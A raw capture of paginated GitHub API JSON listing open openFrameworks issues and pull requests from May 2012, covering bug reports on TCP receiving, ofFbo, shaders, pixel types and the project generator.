again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last"'), ('etag', '"c3111cf6eead96b7d0ea0d14f4a5e9eb"'), ('date', 'Tue, 29 May 2012 06:43:34 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"assignee":null,"closed_at":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280"},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"assignee":null,"closed_at":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"837cfe96365c031130a46311eb11d86a","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279"},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"assignee":null,"closed_at":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277"},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"assignee":null,"closed_at":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271"},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"assignee":null,"closed_at":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268"},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"assignee":null,"closed_at":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263"},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"assignee":null,"closed_at":null,"title":"Add .mailmap for contributor collation","labels":[],"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262"},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"assignee":null,"closed_at":null,"title":"allow float volume on ofVideoPlayer","labels":[],"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260"},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"assignee":null,"closed_at":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257"},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"assignee":null,"closed_at":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256"},{"updated_at":"2012-05-16T09:35:07Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1254","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1254,"assignee":null,"closed_at":null,"title":"Adding ofClear(ofColor c) just a detail","labels":[],"created_at":"2012-05-12T19:15:59Z","state":"open","user":{"url":"https://api.github.com/users/patriciogonzalezvivo","avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"69406d376e65f8070acfbe220f246989","login":"patriciogonzalezvivo","id":346914},"id":4548835,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1254.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1254.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1254"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1254"},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"assignee":null,"closed_at":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252"},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"assignee":null,"closed_at":null,"title":"Bugfix of to data path","labels":[],"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251"},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"assignee":null,"closed_at":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250"},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"f317f6e26c56743bf8ac8b747a73d3af"'), ('date', 'Tue, 29 May 2012 06:43:45 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-05T21:57:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":172,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"closed_at":null,"title":"rgb + alpha -> blit to 